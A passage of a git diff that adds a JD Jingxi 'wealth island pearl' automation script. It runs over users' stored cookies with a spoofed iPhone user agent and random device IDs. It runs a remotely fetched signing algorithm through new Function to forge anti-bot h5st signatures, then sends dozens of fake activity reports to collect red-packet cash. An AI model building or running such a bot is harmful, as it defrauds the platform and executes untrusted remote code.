e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd_pearl.js b/jd_cfd_pearl.js new file mode 100644 index 0000000..1a19e9a --- /dev/null +++ b/jd_cfd_pearl.js @@ -0,0 +1,669 @@ +/* +京喜财富岛合成珍珠 +更新时间:2021-9-11 +活动入口:京喜APP-我的-京喜财富岛合成珍珠 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛合成珍珠 +30 0-23/2 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_cfd_pearl.js, tag=京喜财富岛合成珍珠, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "30 0-23/2 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_cfd_pearl.js,tag=京喜财富岛合成珍珠 + +===============Surge================= +京喜财富岛合成珍珠 = type=cron,cronexp="30 0-23/2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_cfd_pearl.js + +============小火箭========= +京喜财富岛合成珍珠 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_cfd_pearl.js, cronexpr="30 0-23/2 * * *", timeout=3600, enable=true + +*/ + +const $ = new Env('京喜财富岛合成珍珠'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +// const notify = $.isNode() ? require('./sendNotify') : ''; +CryptoScripts() +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +let UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +$.InviteList = [] +$.innerInviteList = []; +const HelpAuthorFlag = true;//是否助力作者SH true 助力,false 不助力 + +// 热气球接客 每次运行接客次数 +let serviceNum = 10;// 每次运行接客次数 +if ($.isNode() && process.env.jd_wealth_island_serviceNum) { + serviceNum = Number(process.env.jd_wealth_island_serviceNum); +} + +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +$.appId = 10032; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i] + ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); + UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + await run(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }).finally(() => { + $.done(); + }) +async function run() { + try{ + $.HomeInfo = '' + $.LeadInfo = '' + $.buildList = '' + $.Fund = '' + $.task = [] + $.Biztask = [] + $.Aggrtask = [] + $.Employtask = [] + + await GetHomePageInfo() + + if($.HomeInfo){ + $.InviteList.push($.HomeInfo.strMyShareId) + console.log(`等级:${$.HomeInfo.dwLandLvl} 当前金币:${$.HomeInfo.ddwCoinBalance} 当前财富:${$.HomeInfo.ddwRichBalance} 助力码:${$.HomeInfo.strMyShareId}`) + } + if($.LeadInfo && $.LeadInfo.dwLeadType == 2){ + await $.wait(2000) + console.log(`\n新手引导`) + await noviceTask() + await GetHomePageInfo() + await $.wait(1000) + } + + // 撸珍珠 + await Pearl() + + } + catch (e) { + console.log(e); + } +} +async function GetHomePageInfo() { + let e = getJxAppToken() + let additional= `&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}&ddwTaskId=&strShareId=&strMarkList=guider_step%2Ccollect_coin_auth%2Cguider_medal%2Cguider_over_flag%2Cbuild_food_full%2Cbuild_sea_full%2Cbuild_shop_full%2Cbuild_fun_full%2Cmedal_guider_show%2Cguide_guider_show%2Cguide_receive_vistor%2Cdaily_task%2Cguider_daily_task%2Ccfd_has_show_selef_point` + let stk= `_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strPgUUNum,strPgtimestamp,strPhoneID,strShareId,strVersion,strZone` + $.HomeInfo = await taskGet(`user/QueryUserInfo`, stk, additional) + if($.HomeInfo){ + $.Fund = $.HomeInfo.Fund || '' + $.LeadInfo = $.HomeInfo.LeadInfo || '' + $.buildInfo = $.HomeInfo.buildInfo || '' + $.XbStatus = $.HomeInfo.XbStatus || [] + if($.buildInfo.buildList){ + $.buildList = $.buildInfo.buildList || '' + } + } +} + +// 撸珍珠 +async function Pearl(){ + try{ + await $.wait(2000) + $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') + console.log(`\n当前有${$.ComposeGameState.dwCurProgress}个珍珠${$.ComposeGameState.ddwVirHb && ' '+$.ComposeGameState.ddwVirHb/100+"红包" || ''}`) + if($.ComposeGameState.dayDrawInfo.dwIsDraw == 0){ + let res = '' + res = await taskGet(`user/GetPearlDailyReward`, '__t,strZone', ``) + if(res && res.iRet == 0 && res.strToken){ + res = await taskGet(`user/PearlDailyDraw`, '__t,ddwSeaonStart,strToken,strZone', `&ddwSeaonStart=${$.ComposeGameState.ddwSeasonStartTm}&strToken=${res.strToken}`) + if(res && res.iRet == 0){ + if(res.strPrizeName){ + console.log(`抽奖获得:${res.strPrizeName || $.toObj(res,res)}`) + }else{ + console.log(`抽奖获得:${$.toObj(res,res)}`) + } + }else{ + console.log("抽奖失败\n"+$.toObj(res,res)) + } + }else{ + console.log($.toObj(res,res)) + } + } + if (($.ComposeGameState.dwCurProgress < 8 || true) && $.ComposeGameState.strDT) { + let b = 1 + console.log(`合珍珠${b}次 `) + // b = 8-$.ComposeGameState.dwCurProgress + for(i=1;b--;i++){ + let n = Math.ceil(Math.random()*20+20) + console.log(`上报次数${n}`) + for(m=1;n--;m++){ + console.log(`上报第${m}次`) + await $.wait(5000) + await taskGet(`user/RealTmReport`, '', `&dwIdentityType=0&strBussKey=composegame&strMyShareId=${$.ComposeGameState.strMyShareId}&ddwCount=10`) + let s = Math.floor((Math.random()*3)) + let n = 0 + if(s == 1) n = 1 + if(n === 1){ + let res = await taskGet(`user/ComposePearlAward`, '__t,size,strBT,strZone,type', `__t=${Date.now()}&type=4&size=1&strBT=${$.ComposeGameState.strDT}`) + if(res && res.iRet == 0){ + console.log(`上报得红包:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包" || ''}${res.ddwVirHb && ' 当前有'+res.ddwVirHb/100+"红包" || ''}`) + }else{ + console.log($.toObj(res,res)) + } + } + } + console.log("合成珍珠") + let strLT = ($.ComposeGameState.oPT || [])[$.ComposeGameState.ddwCurTime % ($.ComposeGameState.oPT || []).length] + let res = await taskGet(`user/ComposePearlAddProcess`, '__t,strBT,strLT,strZone', `&strBT=${$.ComposeGameState.strDT}&strLT=${strLT}`) + if(res && res.iRet == 0){ + console.log(`合成成功:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包 " || ''}当前有${res.dwCurProgress}个珍珠${res.ddwVirHb && ' '+res.ddwVirHb/100+"红包" || ''}`) + }else{ + console.log(JSON.stringify(res)) + } + $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') + } + } + for (let i of $.ComposeGameState.stagelist || []) { + if (i.dwIsAward == 0 && $.ComposeGameState.dwCurProgress >= i.dwCurStageEndCnt) { + await $.wait(2000) + let res = await taskGet(`user/ComposeGameAward`, '__t,dwCurStageEndCnt,strZone', `&dwCurStageEndCnt=${i.dwCurStageEndCnt}`) + await printRes(res,'珍珠领奖') + } + } + }catch (e) { + $.logErr(e); + } +} + + +function printRes(res, msg=''){ + if(res.iRet == 0 && (res.Data || res.ddwCoin || res.ddwMoney || res.strPrizeName)){ + let result = res + if(res.Data){ + result = res.Data + } + if(result.ddwCoin || result.ddwMoney || result.strPrizeName || result.StagePrizeInfo && result.StagePrizeInfo.strPrizeName){ + console.log(`${msg}获得:${result.ddwCoin && ' '+result.ddwCoin+'金币' || ''}${result.ddwMoney && ' '+result.ddwMoney+'财富' || ''}${result.strPrizeName && ' '+result.strPrizeName+'红包' || ''}${result.StagePrizeInfo && result.StagePrizeInfo.strPrizeName && ' '+result.StagePrizeInfo.strPrizeName || ''}`) + }else if(result.Prize){ + console.log(`${msg}获得: ${result.Prize.strPrizeName && '优惠券 '+result.Prize.strPrizeName || ''}`) + }else if(res && res.sErrMsg){ + console.log(res.sErrMsg) + }else{ + console.log(`${msg}完成`, JSON.stringify(res)) + // console.log(`完成`) + } + }else if(res && res.sErrMsg){ + console.log(`${msg}失败:${res.sErrMsg}`) + }else{ + console.log(`${msg}失败:${JSON.stringify(res)}`) + } +} +function getJxAppToken(){ + function generateStr(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz1234567890", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n + } + let phoneId = generateStr(40); + let timestamp = Date.now().toString(); + let pgUUNum = $.CryptoJS.MD5('' + decodeURIComponent($.UserName || '') + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy').toString($.CryptoJS.enc.MD5); + return { + 'strPgtimestamp': timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': pgUUNum + } +} +async function noviceTask(){ + let additional= `` + let stk= `` + additional= `` + stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` + await taskGet(`user/guideuser`, stk, additional) + additional= `&strMark=guider_step&strValue=welcom&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_over_flag&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_over_flag&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=gift_redpack&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=none&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) +} + +function taskGet(type, stk, additional){ + return new Promise(async (resolve) => { + let myRequest = getGetRequest(type, stk, additional) + $.get(myRequest, async (err, resp, _data) => { + let data = '' + try { + let contents = '' + // console.log(_data) + data = $.toObj(_data) + if(data && data.iRet == 0){ + // console.log(_data) + }else{ + // 1771|1771|5001|0|0,1771|75|1023|0|请刷新页面重试 + // console.log(_data) + } + contents = `1771|${opId(type)}|${data && data.iRet || 0}|0|${data && data.sErrMsg || 0}` + await biz(contents) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); +} +function getGetRequest(type, stk='', additional='') { + let url = ``; + let dwEnv = 7; + let types = { + 'GetUserTaskStatusList':['GetUserTaskStatusList','jxbfd'], + 'Award':['Award','jxbfd'], + 'Award1':['Award','jxbfddch'], + 'Award2':['Award','jxbfdprop'], + 'DoTask':['DoTask','jxbfd'], + 'DoTask1':['DoTask','jxbfddch'], + 'DoTask2':['DoTask','jxbfdprop'], + } + if(type == 'user/ComposeGameState'){ + url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}&strZone=jxbfd${additional}&_=${Date.now()}&sceneval=2` + }else if(type == 'user/RealTmReport'){ + url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}${additional}&_=${Date.now()}&sceneval=2` + }else{ + let stks = '' + if(stk) stks = `&_stk=${stk}` + if(type == 'story/GetTakeAggrPages' || type == 'story/RewardSigns') dwEnv = 6 + if(type == 'story/GetTakeAggrPages') type = 'story/GetTakeAggrPage' + if(type == 'story/RewardSigns') type = 'story/RewardSign' + if(types[type]){ + url = `https://m.jingxi.com/newtasksys/newtasksys_front/${types[type][0]}?strZone=jxbfd&bizCode=${types[type][1]}&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}${additional}${stks}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1` + }else if(type == 'user/ComposeGameAddProcess' || type == 'user/ComposeGameAward'){ + url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&__t=${Date.now()}${additional}${stks}&_=${Date.now()}&sceneval=2`; + }else{ + url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=${additional}${stks}&_=${Date.now()}&sceneval=2`; + } + url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': $.cookie, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + + } + } +} + +function biz(contents){ + return new Promise(async (resolve) => { + let myRequest = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': $.cookie, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + } + } + $.get(myRequest, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + }); +} + +function opId(type){ + let jsonMap = { + "user/QueryUserInfo": 1, + "user/GetMgrAllConf": 3, + "story/QueryUserStory": 5, + "user/GetJdToken": 11, + "story/CouponState": 13, + "story/WelfareDraw": 15, + "story/GetWelfarePage": 17, + "story/SendWelfareMoney": 19, + "user/SetMark": 23, + "user/GetMark": 25, + "user/guideuser": 27, + "user/createbuilding": 29, + "user/BuildLvlUp": 31, + "user/CollectCoin": 33, + "user/GetBuildInfo": 35, + "user/SpeedUp": 37, + "story/AddNoticeMsg": 39, + "user/breakgoldenegg": 41, + "user/closewindow": 43, + "user/drawpackprize": 45, + "user/GetMoneyDetail": 47, + "user/EmployTourGuide": 49, + "story/sellgoods": 51, + "story/querystorageroom": 53, + "user/queryuseraccount": 55, + "user/EmployTourGuideInfo": 57, + "consume/TreasureHunt": 59, + "story/QueryAppSignList": 61, + "story/AppRewardSign": 63, + "story/queryshell": 65, + "story/QueryRubbishInfo": 67, + "story/pickshell": 69, + "story/CollectorOper": 71, + "story/MermaidOper": 73, + "story/RubbishOper": 75, + "story/SpecialUserOper": 77, + "story/GetUserTaskStatusList": 79, + "user/ExchangeState": 87, + "user/ExchangePrize": 89, + "user/GetRebateGoods": 91, + "user/BuyGoods": 93, + "user/UserCashOutState": 95, + "user/CashOut": 97, + "user/GetCashRecord": 99, + "user/CashOutQuali": 101, + "user/GetAwardList": 103, + "story/QueryMailBox": 105, + "story/MailBoxOper": 107, + "story/UserMedal": 109, + "story/QueryMedalList": 111, + "story/GetTakeAggrPage": 113, + "story/GetTaskRedDot": 115, + "story/RewardSign": 117, + "story/helpdraw": 119, + "story/helpbystage": 121, + "task/addCartSkuNotEnough": 123, + "story/GetActTask": 125, + "story/ActTaskAward": 127, + "story/DelayBizReq": 131, + "story/AddSuggest": 133, + } + let opId = jsonMap[type] + if (opId!=undefined) return opId + return 5001 +} + +async function requestAlgo() { + $.fp = (getRandomIDPro({ size: 13 }) + Date.now()).slice(0, 16); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + headers: { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'User-Agent': UA, + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fp, + "appId": $.appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + const { ret, msg, data: { result } = {} } = JSON.parse(data); + $.token = result.tk; + $.genKey = new Function(`return ${result.algo}`)(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getRandomIDPro() { + var e, + t, + a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, + n = void 0 === (n = t.dictType) ? 'number' : n, + i = ''; + if ((t = t.customDict) && 'string' == typeof t) e = t; + else + switch (n) { + case 'alphabet': + e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + break; + case 'max': + e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; + break; + case 'number': + default: + e = '0123456789'; + } + + for (; a--;) i += e[(Math.random() * e.length) | 0]; + return i; +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlQueryParams(url, '_stk') : '') + if (stk) { + const timestamp = format("yyyyMMddhhmmssSSS", time); + const hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlQueryParams(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return encodeURIComponent('20210713151140309;3329030085477162;10032;tk01we5431d52a8nbmxySnZya05SXBQSsarucS7aqQIUX98n+iAZjIzQFpu6+ZjRvOMzOaVvqHvQz9pOhDETNW7JmftM;3e219f9d420850cadd117e456d422e4ecd8ebfc34397273a5378a0edc70872b9') + } +} + +function format(a, time) { + if (!a) a = 'yyyy-MM-dd'; + var t; + if (!time) { + t = Date.now(); + } else { + t = new Date(time); + } + var e, + n = new Date(t), + d = a, + l = { + 'M+': n.getMonth() + 1, + 'd+': n.getDate(), + 'D+': n.getDate(), + 'h+': n.getHours(), + 'H+': n.getHours(), + 'm+': n.getMinutes(), + 's+': n.getSeconds(), + 'w+': n.getDay(), + 'q+': Math.floor((n.getMonth() + 3) / 3), + 'S+': n.getMilliseconds(), + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + Object.keys(l).forEach(e => { + if (new RegExp('('.concat(e, ')')).test(d)) { + var t, + a = 'S+' === e ? '000' : '00'; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); + } + }); + return d; +} + +function getUrlQueryParams(url_string, param) { + let reg = new RegExp("(^|&)" + param + "=([^&]*)(&|$)", "i"); + let r = url_string.split('?')[1].substr(0).match(reg); + if (r != null) { + return decodeURIComponent(r[2]); + }; + return ''; +} + + + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}?${new Date()}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + let res = [] + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) res = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(res || []); + } + }) + await $.wait(10000) + resolve(res); + }) +} + +/** + * 随机从一数组里面取 + * @param arr + * @param count + * @returns {Buffer} + */ + function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} + + +// 计算时间 +function timeFn(dateBegin) { + var hours = 0 + var minutes = 0 + var seconds = 0 + if(dateBegin != 0){ + //如果时间格式是正确的,那下面这一步转化时间格式就可以不用了 + var dateEnd = new Date();//获取当前时间 + var dateDiff = dateBegin - dateEnd.getTime();//时间差的毫秒数 + var leave1 = dateDiff % (24 * 3600 * 1000) //计算天数后剩余的毫秒数 + hours = Math.floor(leave1 / (3600 * 1000))//计算出小时数 + //计算相差分钟数 + var leave2 = leave1 % (3600 * 1000) //计算小时数后剩余的毫秒数 + minutes = Math.floor(leave2 / (60 * 1000))//计算相差分钟数 + //计算相差秒数 + var leave3 = leave2 % (60 * 1000) //计算分钟数后剩余的毫秒数 + seconds = Math.round(leave3 / 1000) + } + hours = hours < 10 ? '0'+ hours : hours + minutes = minutes < 10 ? '0'+ minutes : minutes + seconds = seconds < 10 ? '0'+ seconds : seconds + var timeFn = hours + ":" + minutes + ":" + seconds; + return timeFn; +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function CryptoScripts() { + // prettier-ignore + !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return 